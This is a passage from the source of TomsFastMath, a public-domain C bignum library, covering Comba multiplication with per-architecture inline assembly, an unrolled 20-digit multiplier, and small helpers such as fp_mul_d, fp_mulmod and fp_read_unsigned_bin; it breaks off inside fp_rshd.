104 | #define COMBA_FORWARD \ 105 | do { c0 = c1; c1 = c2; c2 = 0; } while (0); 106 | 107 | /* store the first sum */ 108 | #define COMBA_STORE(x) \ 109 | x = c0; 110 | 111 | /* store the second sum [carry] */ 112 | #define COMBA_STORE2(x) \ 113 | x = c1; 114 | 115 | /* anything you need at the end */ 116 | #define COMBA_FINI \ 117 | asm("emms"); 118 | 119 | /* this should multiply i and j */ 120 | #define MULADD(i, j) \ 121 | asm( \ 122 | "movd %6,%%mm0 \n\t" \ 123 | "movd %7,%%mm1 \n\t" \ 124 | "pmuludq %%mm1,%%mm0\n\t" \ 125 | "movd %%mm0,%%eax \n\t" \ 126 | "psrlq $32,%%mm0 \n\t" \ 127 | "addl %%eax,%0 \n\t" \ 128 | "movd %%mm0,%%eax \n\t" \ 129 | "adcl %%eax,%1 \n\t" \ 130 | "adcl $0,%2 \n\t" \ 131 | :"=r"(c0), "=r"(c1), "=r"(c2): "0"(c0), "1"(c1), "2"(c2), "m"(i), "m"(j) :"%eax","cc"); 132 | 133 | #elif defined(TFM_ARM) 134 | /* ARM code */ 135 | 136 | #define COMBA_START 137 | 138 | #define COMBA_CLEAR \ 139 | c0 = c1 = c2 = 0; 140 | 141 | #define COMBA_FORWARD \ 142 | do { c0 = c1; c1 = c2; c2 = 0; } while (0); 143 | 144 | #define COMBA_STORE(x) \ 145 | x = c0; 146 | 147 | #define COMBA_STORE2(x) \ 148 | x = c1; 149 | 150 | #define COMBA_FINI 151 | 152 | #define MULADD(i, j) \ 153 | asm( \ 154 | " UMULL r0,r1,%6,%7 \n\t" \ 155 | " ADDS %0,%0,r0 \n\t" \ 156 | " ADCS %1,%1,r1 \n\t" \ 157 | " ADC %2,%2,#0 \n\t" \ 158 | :"=r"(c0), "=r"(c1), "=r"(c2) : "0"(c0), "1"(c1), "2"(c2), "r"(i), "r"(j) : "r0", "r1", "cc"); 159 | 160 | #elif defined(TFM_PPC32) 161 | /* For 32-bit PPC */ 162 | 163 | #define COMBA_START 164 | 165 | #define COMBA_CLEAR \ 166 | c0 = c1 = c2 = 0; 167 | 168 | #define COMBA_FORWARD \ 169 | do { c0 = c1; c1 = c2; c2 = 0; } while (0); 170 | 171 | #define COMBA_STORE(x) \ 172 | x = c0; 173 | 174 | #define COMBA_STORE2(x) \ 175 | x = c1; 176 | 177 | #define COMBA_FINI 178 | 179 | /* untested: will mulhwu change the flags? Docs say no */ 180 | #define MULADD(i, j) \ 181 | asm( \ 182 | " mullw 16,%6,%7 \n\t" \ 183 | " addc %0,%0,16 \n\t" \ 184 | " mulhwu 16,%6,%7 \n\t" \ 185 | " adde %1,%1,16 \n\t" \ 186 | " addze %2,%2 \n\t" \ 187 | :"=r"(c0), "=r"(c1), "=r"(c2):"0"(c0), "1"(c1), "2"(c2), "r"(i), "r"(j):"16"); 188 | 189 | #elif defined(TFM_PPC64) 190 | /* For 64-bit PPC */ 191 | 192 | #define COMBA_START 193 | 194 | #define COMBA_CLEAR \ 195 | c0 = c1 = c2 = 0; 196 | 197 | #define COMBA_FORWARD \ 198 | do { c0 = c1; c1 = c2; c2 = 0; } while (0); 199 | 200 | #define COMBA_STORE(x) \ 201 | x = c0; 202 | 203 | #define COMBA_STORE2(x) \ 204 | x = c1; 205 | 206 | #define COMBA_FINI 207 | 208 | /* untested: will mulhdu change the flags? Docs say no */ 209 | #define MULADD(i, j) \ 210 | asm( \ 211 | " mulld r16,%6,%7 \n\t" \ 212 | " addc %0,%0,16 \n\t" \ 213 | " mulhdu r16,%6,%7 \n\t" \ 214 | " adde %1,%1,16 \n\t" \ 215 | " addze %2,%2 \n\t" \ 216 | :"=r"(c0), "=r"(c1), "=r"(c2):"0"(c0), "1"(c1), "2"(c2), "r"(i), "r"(j):"r16"); 217 | 218 | #elif defined(TFM_AVR32) 219 | 220 | /* ISO C code */ 221 | 222 | #define COMBA_START 223 | 224 | #define COMBA_CLEAR \ 225 | c0 = c1 = c2 = 0; 226 | 227 | #define COMBA_FORWARD \ 228 | do { c0 = c1; c1 = c2; c2 = 0; } while (0); 229 | 230 | #define COMBA_STORE(x) \ 231 | x = c0; 232 | 233 | #define COMBA_STORE2(x) \ 234 | x = c1; 235 | 236 | #define COMBA_FINI 237 | 238 | #define MULADD(i, j) \ 239 | asm( \ 240 | " mulu.d r2,%6,%7 \n\t"\ 241 | " add %0,r2 \n\t"\ 242 | " adc %1,%1,r3 \n\t"\ 243 | " acr %2 \n\t"\ 244 | :"=r"(c0), "=r"(c1), "=r"(c2):"0"(c0), "1"(c1), "2"(c2), "r"(i), "r"(j):"r2","r3"); 245 | 246 | #elif defined(TFM_MIPS) 247 | 248 | #define COMBA_START 249 | 250 | #define COMBA_CLEAR \ 251 | c0 = c1 = c2 = 0; 252 | 253 | #define COMBA_FORWARD \ 254 | do { c0 = c1; c1 = c2; c2 = 0; } while (0); 255 | 256 | #define COMBA_STORE(x) \ 257 | x = c0; 258 | 259 | #define COMBA_STORE2(x) \ 260 | x = c1; 261 | 262 | #define COMBA_FINI 263 | 264 | #define MULADD(i, j) \ 265 | asm( \ 266 | " multu %6,%7 \n\t" \ 267 | " mflo $12 \n\t" \ 268 | " mfhi $13 \n\t" \ 269 | " addu %0,%0,$12 \n\t" \ 270 | " sltu $12,%0,$12 \n\t" \ 271 | " addu %1,%1,$13 \n\t" \ 272 | " sltu $13,%1,$13 \n\t" \ 273 | " addu %1,%1,$12 \n\t" \ 274 | " sltu $12,%1,$12 \n\t" \ 275 | " addu %2,%2,$13 \n\t" \ 276 | " addu %2,%2,$12 \n\t" \ 277 | :"=r"(c0), "=r"(c1), "=r"(c2):"0"(c0), "1"(c1), "2"(c2), "r"(i), "r"(j):"$12","$13"); 278 | 279 | #else 280 | /* ISO C code */ 281 | 282 | #define COMBA_START 283 | 284 | #define COMBA_CLEAR \ 285 | c0 = c1 = c2 = 0; 286 | 287 | #define COMBA_FORWARD \ 288 | do { c0 = c1; c1 = c2; c2 = 0; } while (0); 289 | 290 | #define COMBA_STORE(x) \ 291 | x = c0; 292 | 293 | #define COMBA_STORE2(x) \ 294 | x = c1; 295 | 296 | #define COMBA_FINI 297 | 298 | #define MULADD(i, j) \ 299 | do { fp_word t; \ 300 | t = (fp_word)c0 + ((fp_word)i) * ((fp_word)j); \ 301 | c0 = t; \ 302 | t = (fp_word)c1 + (t >> DIGIT_BIT); \ 303 | c1 = t; \ 304 | c2 += t >> DIGIT_BIT; \ 305 | } while (0); 306 | 307 | #endif 308 | 309 | #ifndef TFM_DEFINES 310 | 311 | /* generic PxQ multiplier */ 312 | void fp_mul_comba(fp_int *A, fp_int *B, fp_int *C) 313 | { 314 | int ix, iy, iz, tx, ty, pa; 315 | fp_digit c0, c1, c2, *tmpx, *tmpy; 316 | fp_int tmp, *dst; 317 | 318 | COMBA_START; 319 | COMBA_CLEAR; 320 | 321 | /* get size of output and trim */ 322 | pa = A->used + B->used; 323 | if (pa >= FP_SIZE) { 324 | pa = FP_SIZE-1; 325 | } 326 | 327 | if (A == C || B == C) { 328 | fp_zero(&tmp); 329 | dst = &tmp; 330 | } else { 331 | fp_zero(C); 332 | dst = C; 333 | } 334 | 335 | for (ix = 0; ix < pa; ix++) { 336 | /* get offsets into the two bignums */ 337 | ty = MIN(ix, B->used-1); 338 | tx = ix - ty; 339 | 340 | /* setup temp aliases */ 341 | tmpx = A->dp + tx; 342 | tmpy = B->dp + ty; 343 | 344 | /* this is the number of times the loop will iterrate, essentially its 345 | while (tx++ < a->used && ty-- >= 0) { ... } 346 | */ 347 | iy = MIN(A->used-tx, ty+1); 348 | 349 | /* execute loop */ 350 | COMBA_FORWARD; 351 | for (iz = 0; iz < iy; ++iz) { 352 | fp_digit _tmpx = *tmpx++; 353 | fp_digit _tmpy = *tmpy--; 354 | MULADD(_tmpx, _tmpy); 355 | } 356 | 357 | /* store term */ 358 | COMBA_STORE(dst->dp[ix]); 359 | } 360 | COMBA_FINI; 361 | 362 | dst->used = pa; 363 | dst->sign = A->sign ^ B->sign; 364 | fp_clamp(dst); 365 | fp_copy(dst, C); 366 | } 367 | 368 | #endif 369 | 370 | /* $Source$ */ 371 | /* $Revision$ */ 372 | /* $Date$ */ 373 | 374 | -------------------------------------------------------------------------------- /src/crypto/tfm/fp_mul_comba_20.c: -------------------------------------------------------------------------------- 1 | #define TFM_DEFINES 2 | #include "fp_mul_comba.c" 3 | 4 | #if defined(TFM_MUL20) && FP_SIZE >= 40 5 | void fp_mul_comba20(fp_int *A, fp_int *B, fp_int *C) 6 | { 7 | fp_digit c0, c1, c2, at[40]; 8 | 9 | memcpy(at, A->dp, 20 * sizeof(fp_digit)); 10 | memcpy(at+20, B->dp, 20 * sizeof(fp_digit)); 11 | COMBA_START; 12 | 13 | COMBA_CLEAR; 14 | /* 0 */ 15 | MULADD(at[0], at[20]); 16 | COMBA_STORE(C->dp[0]); 17 | /* 1 */ 18 | COMBA_FORWARD; 19 | MULADD(at[0], at[21]); MULADD(at[1], at[20]); 20 | COMBA_STORE(C->dp[1]); 21 | /* 2 */ 22 | COMBA_FORWARD; 23 | MULADD(at[0], at[22]); MULADD(at[1], at[21]); MULADD(at[2], at[20]); 24 | COMBA_STORE(C->dp[2]); 25 | /* 3 */ 26 | COMBA_FORWARD; 27 | MULADD(at[0], at[23]); MULADD(at[1], at[22]); MULADD(at[2], at[21]); MULADD(at[3], at[20]); 28 | COMBA_STORE(C->dp[3]); 29 | /* 4 */ 30 | COMBA_FORWARD; 31 | MULADD(at[0], at[24]); MULADD(at[1], at[23]); MULADD(at[2], at[22]); MULADD(at[3], at[21]); MULADD(at[4], at[20]); 32 | COMBA_STORE(C->dp[4]); 33 | /* 5 */ 34 | COMBA_FORWARD; 35 | MULADD(at[0], at[25]); MULADD(at[1], at[24]); MULADD(at[2], at[23]); MULADD(at[3], at[22]); MULADD(at[4], at[21]); MULADD(at[5], at[20]); 36 | COMBA_STORE(C->dp[5]); 37 | /* 6 */ 38 | COMBA_FORWARD; 39 | MULADD(at[0], at[26]); MULADD(at[1], at[25]); MULADD(at[2], at[24]); MULADD(at[3], at[23]); MULADD(at[4], at[22]); MULADD(at[5], at[21]); MULADD(at[6], at[20]); 40 | COMBA_STORE(C->dp[6]); 41 | /* 7 */ 42 | COMBA_FORWARD; 43 | MULADD(at[0], at[27]); MULADD(at[1], at[26]); MULADD(at[2], at[25]); MULADD(at[3], at[24]); MULADD(at[4], at[23]); MULADD(at[5], at[22]); MULADD(at[6], at[21]); MULADD(at[7], at[20]); 44 | COMBA_STORE(C->dp[7]); 45 | /* 8 */ 46 | COMBA_FORWARD; 47 | MULADD(at[0], at[28]); MULADD(at[1], at[27]); MULADD(at[2], at[26]); MULADD(at[3], at[25]); MULADD(at[4], at[24]); MULADD(at[5], at[23]); MULADD(at[6], at[22]); MULADD(at[7], at[21]); MULADD(at[8], at[20]); 48 | COMBA_STORE(C->dp[8]); 49 | /* 9 */ 50 | COMBA_FORWARD; 51 | MULADD(at[0], at[29]); MULADD(at[1], at[28]); MULADD(at[2], at[27]); MULADD(at[3], at[26]); MULADD(at[4], at[25]); MULADD(at[5], at[24]); MULADD(at[6], at[23]); MULADD(at[7], at[22]); MULADD(at[8], at[21]); MULADD(at[9], at[20]); 52 | COMBA_STORE(C->dp[9]); 53 | /* 10 */ 54 | COMBA_FORWARD; 55 | MULADD(at[0], at[30]); MULADD(at[1], at[29]); MULADD(at[2], at[28]); MULADD(at[3], at[27]); MULADD(at[4], at[26]); MULADD(at[5], at[25]); MULADD(at[6], at[24]); MULADD(at[7], at[23]); MULADD(at[8], at[22]); MULADD(at[9], at[21]); MULADD(at[10], at[20]); 56 | COMBA_STORE(C->dp[10]); 57 | /* 11 */ 58 | COMBA_FORWARD; 59 | MULADD(at[0], at[31]); MULADD(at[1], at[30]); MULADD(at[2], at[29]); MULADD(at[3], at[28]); MULADD(at[4], at[27]); MULADD(at[5], at[26]); MULADD(at[6], at[25]); MULADD(at[7], at[24]); MULADD(at[8], at[23]); MULADD(at[9], at[22]); MULADD(at[10], at[21]); MULADD(at[11], at[20]); 60 | COMBA_STORE(C->dp[11]); 61 | /* 12 */ 62 | COMBA_FORWARD; 63 | MULADD(at[0], at[32]); MULADD(at[1], at[31]); MULADD(at[2], at[30]); MULADD(at[3], at[29]); MULADD(at[4], at[28]); MULADD(at[5], at[27]); MULADD(at[6], at[26]); MULADD(at[7], at[25]); MULADD(at[8], at[24]); MULADD(at[9], at[23]); MULADD(at[10], at[22]); MULADD(at[11], at[21]); MULADD(at[12], at[20]); 64 | COMBA_STORE(C->dp[12]); 65 | /* 13 */ 66 | COMBA_FORWARD; 67 | MULADD(at[0], at[33]); MULADD(at[1], at[32]); MULADD(at[2], at[31]); MULADD(at[3], at[30]); MULADD(at[4], at[29]); MULADD(at[5], at[28]); MULADD(at[6], at[27]); MULADD(at[7], at[26]); MULADD(at[8], at[25]); MULADD(at[9], at[24]); MULADD(at[10], at[23]); MULADD(at[11], at[22]); MULADD(at[12], at[21]); MULADD(at[13], at[20]); 68 | COMBA_STORE(C->dp[13]); 69 | /* 14 */ 70 | COMBA_FORWARD; 71 | MULADD(at[0], at[34]); MULADD(at[1], at[33]); MULADD(at[2], at[32]); MULADD(at[3], at[31]); MULADD(at[4], at[30]); MULADD(at[5], at[29]); MULADD(at[6], at[28]); MULADD(at[7], at[27]); MULADD(at[8], at[26]); MULADD(at[9], at[25]); MULADD(at[10], at[24]); MULADD(at[11], at[23]); MULADD(at[12], at[22]); MULADD(at[13], at[21]); MULADD(at[14], at[20]); 72 | COMBA_STORE(C->dp[14]); 73 | /* 15 */ 74 | COMBA_FORWARD; 75 | MULADD(at[0], at[35]); MULADD(at[1], at[34]); MULADD(at[2], at[33]); MULADD(at[3], at[32]); MULADD(at[4], at[31]); MULADD(at[5], at[30]); MULADD(at[6], at[29]); MULADD(at[7], at[28]); MULADD(at[8], at[27]); MULADD(at[9], at[26]); MULADD(at[10], at[25]); MULADD(at[11], at[24]); MULADD(at[12], at[23]); MULADD(at[13], at[22]); MULADD(at[14], at[21]); MULADD(at[15], at[20]); 76 | COMBA_STORE(C->dp[15]); 77 | /* 16 */ 78 | COMBA_FORWARD; 79 | MULADD(at[0], at[36]); MULADD(at[1], at[35]); MULADD(at[2], at[34]); MULADD(at[3], at[33]); MULADD(at[4], at[32]); MULADD(at[5], at[31]); MULADD(at[6], at[30]); MULADD(at[7], at[29]); MULADD(at[8], at[28]); MULADD(at[9], at[27]); MULADD(at[10], at[26]); MULADD(at[11], at[25]); MULADD(at[12], at[24]); MULADD(at[13], at[23]); MULADD(at[14], at[22]); MULADD(at[15], at[21]); MULADD(at[16], at[20]); 80 | COMBA_STORE(C->dp[16]); 81 | /* 17 */ 82 | COMBA_FORWARD; 83 | MULADD(at[0], at[37]); MULADD(at[1], at[36]); MULADD(at[2], at[35]); MULADD(at[3], at[34]); MULADD(at[4], at[33]); MULADD(at[5], at[32]); MULADD(at[6], at[31]); MULADD(at[7], at[30]); MULADD(at[8], at[29]); MULADD(at[9], at[28]); MULADD(at[10], at[27]); MULADD(at[11], at[26]); MULADD(at[12], at[25]); MULADD(at[13], at[24]); MULADD(at[14], at[23]); MULADD(at[15], at[22]); MULADD(at[16], at[21]); MULADD(at[17], at[20]); 84 | COMBA_STORE(C->dp[17]); 85 | /* 18 */ 86 | COMBA_FORWARD; 87 | MULADD(at[0], at[38]); MULADD(at[1], at[37]); MULADD(at[2], at[36]); MULADD(at[3], at[35]); MULADD(at[4], at[34]); MULADD(at[5], at[33]); MULADD(at[6], at[32]); MULADD(at[7], at[31]); MULADD(at[8], at[30]); MULADD(at[9], at[29]); MULADD(at[10], at[28]); MULADD(at[11], at[27]); MULADD(at[12], at[26]); MULADD(at[13], at[25]); MULADD(at[14], at[24]); MULADD(at[15], at[23]); MULADD(at[16], at[22]); MULADD(at[17], at[21]); MULADD(at[18], at[20]); 88 | COMBA_STORE(C->dp[18]); 89 | /* 19 */ 90 | COMBA_FORWARD; 91 | MULADD(at[0], at[39]); MULADD(at[1], at[38]); MULADD(at[2], at[37]); MULADD(at[3], at[36]); MULADD(at[4], at[35]); MULADD(at[5], at[34]); MULADD(at[6], at[33]); MULADD(at[7], at[32]); MULADD(at[8], at[31]); MULADD(at[9], at[30]); MULADD(at[10], at[29]); MULADD(at[11], at[28]); MULADD(at[12], at[27]); MULADD(at[13], at[26]); MULADD(at[14], at[25]); MULADD(at[15], at[24]); MULADD(at[16], at[23]); MULADD(at[17], at[22]); MULADD(at[18], at[21]); MULADD(at[19], at[20]); 92 | COMBA_STORE(C->dp[19]); 93 | /* 20 */ 94 | COMBA_FORWARD; 95 | MULADD(at[1], at[39]); MULADD(at[2], at[38]); MULADD(at[3], at[37]); MULADD(at[4], at[36]); MULADD(at[5], at[35]); MULADD(at[6], at[34]); MULADD(at[7], at[33]); MULADD(at[8], at[32]); MULADD(at[9], at[31]); MULADD(at[10], at[30]); MULADD(at[11], at[29]); MULADD(at[12], at[28]); MULADD(at[13], at[27]); MULADD(at[14], at[26]); MULADD(at[15], at[25]); MULADD(at[16], at[24]); MULADD(at[17], at[23]); MULADD(at[18], at[22]); MULADD(at[19], at[21]); 96 | COMBA_STORE(C->dp[20]); 97 | /* 21 */ 98 | COMBA_FORWARD; 99 | MULADD(at[2], at[39]); MULADD(at[3], at[38]); MULADD(at[4], at[37]); MULADD(at[5], at[36]); MULADD(at[6], at[35]); MULADD(at[7], at[34]); MULADD(at[8], at[33]); MULADD(at[9], at[32]); MULADD(at[10], at[31]); MULADD(at[11], at[30]); MULADD(at[12], at[29]); MULADD(at[13], at[28]); MULADD(at[14], at[27]); MULADD(at[15], at[26]); MULADD(at[16], at[25]); MULADD(at[17], at[24]); MULADD(at[18], at[23]); MULADD(at[19], at[22]); 100 | COMBA_STORE(C->dp[21]); 101 | /* 22 */ 102 | COMBA_FORWARD; 103 | MULADD(at[3], at[39]); MULADD(at[4], at[38]); MULADD(at[5], at[37]); MULADD(at[6], at[36]); MULADD(at[7], at[35]); MULADD(at[8], at[34]); MULADD(at[9], at[33]); MULADD(at[10], at[32]); MULADD(at[11], at[31]); MULADD(at[12], at[30]); MULADD(at[13], at[29]); MULADD(at[14], at[28]); MULADD(at[15], at[27]); MULADD(at[16], at[26]); MULADD(at[17], at[25]); MULADD(at[18], at[24]); MULADD(at[19], at[23]); 104 | COMBA_STORE(C->dp[22]); 105 | /* 23 */ 106 | COMBA_FORWARD; 107 | MULADD(at[4], at[39]); MULADD(at[5], at[38]); MULADD(at[6], at[37]); MULADD(at[7], at[36]); MULADD(at[8], at[35]); MULADD(at[9], at[34]); MULADD(at[10], at[33]); MULADD(at[11], at[32]); MULADD(at[12], at[31]); MULADD(at[13], at[30]); MULADD(at[14], at[29]); MULADD(at[15], at[28]); MULADD(at[16], at[27]); MULADD(at[17], at[26]); MULADD(at[18], at[25]); MULADD(at[19], at[24]); 108 | COMBA_STORE(C->dp[23]); 109 | /* 24 */ 110 | COMBA_FORWARD; 111 | MULADD(at[5], at[39]); MULADD(at[6], at[38]); MULADD(at[7], at[37]); MULADD(at[8], at[36]); MULADD(at[9], at[35]); MULADD(at[10], at[34]); MULADD(at[11], at[33]); MULADD(at[12], at[32]); MULADD(at[13], at[31]); MULADD(at[14], at[30]); MULADD(at[15], at[29]); MULADD(at[16], at[28]); MULADD(at[17], at[27]); MULADD(at[18], at[26]); MULADD(at[19], at[25]); 112 | COMBA_STORE(C->dp[24]); 113 | /* 25 */ 114 | COMBA_FORWARD; 115 | MULADD(at[6], at[39]); MULADD(at[7], at[38]); MULADD(at[8], at[37]); MULADD(at[9], at[36]); MULADD(at[10], at[35]); MULADD(at[11], at[34]); MULADD(at[12], at[33]); MULADD(at[13], at[32]); MULADD(at[14], at[31]); MULADD(at[15], at[30]); MULADD(at[16], at[29]); MULADD(at[17], at[28]); MULADD(at[18], at[27]); MULADD(at[19], at[26]); 116 | COMBA_STORE(C->dp[25]); 117 | /* 26 */ 118 | COMBA_FORWARD; 119 | MULADD(at[7], at[39]); MULADD(at[8], at[38]); MULADD(at[9], at[37]); MULADD(at[10], at[36]); MULADD(at[11], at[35]); MULADD(at[12], at[34]); MULADD(at[13], at[33]); MULADD(at[14], at[32]); MULADD(at[15], at[31]); MULADD(at[16], at[30]); MULADD(at[17], at[29]); MULADD(at[18], at[28]); MULADD(at[19], at[27]); 120 | COMBA_STORE(C->dp[26]); 121 | /* 27 */ 122 | COMBA_FORWARD; 123 | MULADD(at[8], at[39]); MULADD(at[9], at[38]); MULADD(at[10], at[37]); MULADD(at[11], at[36]); MULADD(at[12], at[35]); MULADD(at[13], at[34]); MULADD(at[14], at[33]); MULADD(at[15], at[32]); MULADD(at[16], at[31]); MULADD(at[17], at[30]); MULADD(at[18], at[29]); MULADD(at[19], at[28]); 124 | COMBA_STORE(C->dp[27]); 125 | /* 28 */ 126 | COMBA_FORWARD; 127 | MULADD(at[9], at[39]); MULADD(at[10], at[38]); MULADD(at[11], at[37]); MULADD(at[12], at[36]); MULADD(at[13], at[35]); MULADD(at[14], at[34]); MULADD(at[15], at[33]); MULADD(at[16], at[32]); MULADD(at[17], at[31]); MULADD(at[18], at[30]); MULADD(at[19], at[29]); 128 | COMBA_STORE(C->dp[28]); 129 | /* 29 */ 130 | COMBA_FORWARD; 131 | MULADD(at[10], at[39]); MULADD(at[11], at[38]); MULADD(at[12], at[37]); MULADD(at[13], at[36]); MULADD(at[14], at[35]); MULADD(at[15], at[34]); MULADD(at[16], at[33]); MULADD(at[17], at[32]); MULADD(at[18], at[31]); MULADD(at[19], at[30]); 132 | COMBA_STORE(C->dp[29]); 133 | /* 30 */ 134 | COMBA_FORWARD; 135 | MULADD(at[11], at[39]); MULADD(at[12], at[38]); MULADD(at[13], at[37]); MULADD(at[14], at[36]); MULADD(at[15], at[35]); MULADD(at[16], at[34]); MULADD(at[17], at[33]); MULADD(at[18], at[32]); MULADD(at[19], at[31]); 136 | COMBA_STORE(C->dp[30]); 137 | /* 31 */ 138 | COMBA_FORWARD; 139 | MULADD(at[12], at[39]); MULADD(at[13], at[38]); MULADD(at[14], at[37]); MULADD(at[15], at[36]); MULADD(at[16], at[35]); MULADD(at[17], at[34]); MULADD(at[18], at[33]); MULADD(at[19], at[32]); 140 | COMBA_STORE(C->dp[31]); 141 | /* 32 */ 142 | COMBA_FORWARD; 143 | MULADD(at[13], at[39]); MULADD(at[14], at[38]); MULADD(at[15], at[37]); MULADD(at[16], at[36]); MULADD(at[17], at[35]); MULADD(at[18], at[34]); MULADD(at[19], at[33]); 144 | COMBA_STORE(C->dp[32]); 145 | /* 33 */ 146 | COMBA_FORWARD; 147 | MULADD(at[14], at[39]); MULADD(at[15], at[38]); MULADD(at[16], at[37]); MULADD(at[17], at[36]); MULADD(at[18], at[35]); MULADD(at[19], at[34]); 148 | COMBA_STORE(C->dp[33]); 149 | /* 34 */ 150 | COMBA_FORWARD; 151 | MULADD(at[15], at[39]); MULADD(at[16], at[38]); MULADD(at[17], at[37]); MULADD(at[18], at[36]); MULADD(at[19], at[35]); 152 | COMBA_STORE(C->dp[34]); 153 | /* 35 */ 154 | COMBA_FORWARD; 155 | MULADD(at[16], at[39]); MULADD(at[17], at[38]); MULADD(at[18], at[37]); MULADD(at[19], at[36]); 156 | COMBA_STORE(C->dp[35]); 157 | /* 36 */ 158 | COMBA_FORWARD; 159 | MULADD(at[17], at[39]); MULADD(at[18], at[38]); MULADD(at[19], at[37]); 160 | COMBA_STORE(C->dp[36]); 161 | /* 37 */ 162 | COMBA_FORWARD; 163 | MULADD(at[18], at[39]); MULADD(at[19], at[38]); 164 | COMBA_STORE(C->dp[37]); 165 | /* 38 */ 166 | COMBA_FORWARD; 167 | MULADD(at[19], at[39]); 168 | COMBA_STORE(C->dp[38]); 169 | COMBA_STORE2(C->dp[39]); 170 | C->used = 40; 171 | C->sign = A->sign ^ B->sign; 172 | fp_clamp(C); 173 | COMBA_FINI; 174 | } 175 | #endif 176 | 177 | 178 | /* $Source$ */ 179 | /* $Revision$ */ 180 | /* $Date$ */ 181 | -------------------------------------------------------------------------------- /src/crypto/tfm/fp_mul_d.c: -------------------------------------------------------------------------------- 1 | /* TomsFastMath, a fast ISO C bignum library. 2 | * 3 | * This project is meant to fill in where LibTomMath 4 | * falls short. That is speed ;-) 5 | * 6 | * This project is public domain and free for all purposes. 7 | * 8 | * Tom St Denis, tomstdenis@gmail.com 9 | */ 10 | #include 11 | 12 | /* c = a * b */ 13 | void fp_mul_d(fp_int *a, fp_digit b, fp_int *c) 14 | { 15 | fp_word w; 16 | int x, oldused; 17 | 18 | oldused = c->used; 19 | c->used = a->used; 20 | c->sign = a->sign; 21 | w = 0; 22 | for (x = 0; x < a->used; x++) { 23 | w = ((fp_word)a->dp[x]) * ((fp_word)b) + w; 24 | c->dp[x] = (fp_digit)w; 25 | w = w >> DIGIT_BIT; 26 | } 27 | if (w != 0 && (a->used != FP_SIZE)) { 28 | c->dp[c->used++] = w; 29 | ++x; 30 | } 31 | for (; x < oldused; x++) { 32 | c->dp[x] = 0; 33 | } 34 | fp_clamp(c); 35 | } 36 | 37 | 38 | /* $Source$ */ 39 | /* $Revision$ */ 40 | /* $Date$ */ 41 | -------------------------------------------------------------------------------- /src/crypto/tfm/fp_mulmod.c: -------------------------------------------------------------------------------- 1 | /* TomsFastMath, a fast ISO C bignum library. 2 | * 3 | * This project is meant to fill in where LibTomMath 4 | * falls short. That is speed ;-) 5 | * 6 | * This project is public domain and free for all purposes. 7 | * 8 | * Tom St Denis, tomstdenis@gmail.com 9 | */ 10 | #include 11 | /* d = a * b (mod c) */ 12 | int fp_mulmod(fp_int *a, fp_int *b, fp_int *c, fp_int *d) 13 | { 14 | fp_int tmp; 15 | fp_zero(&tmp); 16 | fp_mul(a, b, &tmp); 17 | return fp_mod(&tmp, c, d); 18 | } 19 | 20 | /* $Source$ */ 21 | /* $Revision$ */ 22 | /* $Date$ */ 23 | -------------------------------------------------------------------------------- /src/crypto/tfm/fp_read_unsigned_bin.c: -------------------------------------------------------------------------------- 1 | /* TomsFastMath, a fast ISO C bignum library. 2 | * 3 | * This project is meant to fill in where LibTomMath 4 | * falls short. That is speed ;-) 5 | * 6 | * This project is public domain and free for all purposes. 7 | * 8 | * Tom St Denis, tomstdenis@gmail.com 9 | */ 10 | #include 11 | 12 | void fp_read_unsigned_bin(fp_int *a, const unsigned char *b, int c) 13 | { 14 | /* zero the int */ 15 | fp_zero (a); 16 | 17 | if ((unsigned)c > (FP_SIZE * sizeof(fp_digit))) { 18 | int excess = c - (FP_SIZE * sizeof(fp_digit)); 19 | c -= excess; 20 | b += excess; 21 | } 22 | 23 | /* If we know the endianness of this architecture, and we're using 24 | 32-bit fp_digits, we can optimize this */ 25 | #if (defined(ENDIAN_LITTLE) || defined(ENDIAN_BIG)) && !defined(FP_64BIT) 26 | /* But not for both simultaneously */ 27 | #if defined(ENDIAN_LITTLE) && defined(ENDIAN_BIG) 28 | #error Both ENDIAN_LITTLE and ENDIAN_BIG defined. 29 | #endif 30 | { 31 | unsigned char *pd = (unsigned char *)a->dp; 32 | 33 | a->used = (c + sizeof(fp_digit) - 1)/sizeof(fp_digit); 34 | /* read the bytes in */ 35 | #ifdef ENDIAN_BIG 36 | { 37 | /* Use Duff's device to unroll the loop. */ 38 | int idx = (c - 1) & ~3; 39 | switch (c % 4) { 40 | case 0: do { pd[idx+0] = *b++; 41 | case 3: pd[idx+1] = *b++; 42 | case 2: pd[idx+2] = *b++; 43 | case 1: pd[idx+3] = *b++; 44 | idx -= 4; 45 | } while ((c -= 4) > 0); 46 | } 47 | } 48 | #else 49 | for (c -= 1; c >= 0; c -= 1) { 50 | pd[c] = *b++; 51 | } 52 | #endif 53 | } 54 | #else 55 | /* read the bytes in */ 56 | for (; c > 0; c--) { 57 | fp_mul_2d (a, 8, a); 58 | a->dp[0] |= *b++; 59 | 60 | if (a->used == 0) { 61 | a->used = 1; 62 | } 63 | } 64 | #endif 65 | fp_clamp (a); 66 | } 67 | 68 | /* $Source$ */ 69 | /* $Revision$ */ 70 | /* $Date$ */ 71 | -------------------------------------------------------------------------------- /src/crypto/tfm/fp_reverse.c: -------------------------------------------------------------------------------- 1 | /* TomsFastMath, a fast ISO C bignum library. 2 | * 3 | * This project is meant to fill in where LibTomMath 4 | * falls short. That is speed ;-) 5 | * 6 | * This project is public domain and free for all purposes. 7 | * 8 | * Tom St Denis, tomstdenis@gmail.com 9 | */ 10 | #include 11 | 12 | /* reverse an array, used for radix code */ 13 | void fp_reverse (unsigned char *s, int len) 14 | { 15 | int ix, iy; 16 | unsigned char t; 17 | 18 | ix = 0; 19 | iy = len - 1; 20 | while (ix < iy) { 21 | t = s[ix]; 22 | s[ix] = s[iy]; 23 | s[iy] = t; 24 | ++ix; 25 | --iy; 26 | } 27 | } 28 | 29 | /* $Source$ */ 30 | /* $Revision$ */ 31 | /* $Date$ */ 32 | -------------------------------------------------------------------------------- /src/crypto/tfm/fp_rshd.c: -------------------------------------------------------------------------------- 1 | /* TomsFastMath, a fast ISO C bignum library. 2 | * 3 | * This project is meant to fill in where LibTomMath 4 | * falls short. That is speed ;-) 5 | * 6 | * This project is public domain and free for all purposes. 7 | * 8 | * Tom St Denis, tomstdenis@gmail.com 9 | */ 10 | #include 11 | 12 | void fp_rshd(fp_int *a, int x) 13 | { 14 | int y; 15 | 16 | /* too many digits just zero and return */ 17 | if (x >= a->used) { 18 | fp_zero(a); 19 | return; 20 | } 21 | 22 | /* shift */ 23 | for (y = 0; y < a->used - x; y++) { 24 | a->dp[y] = a->dp[y+x]; 25 | } 26 | 27 | /* zero rest */ 28 | for (; y < a->used; y++) { 29 | a->dp[y] = 0; 30 | } 31 | 32 | /* 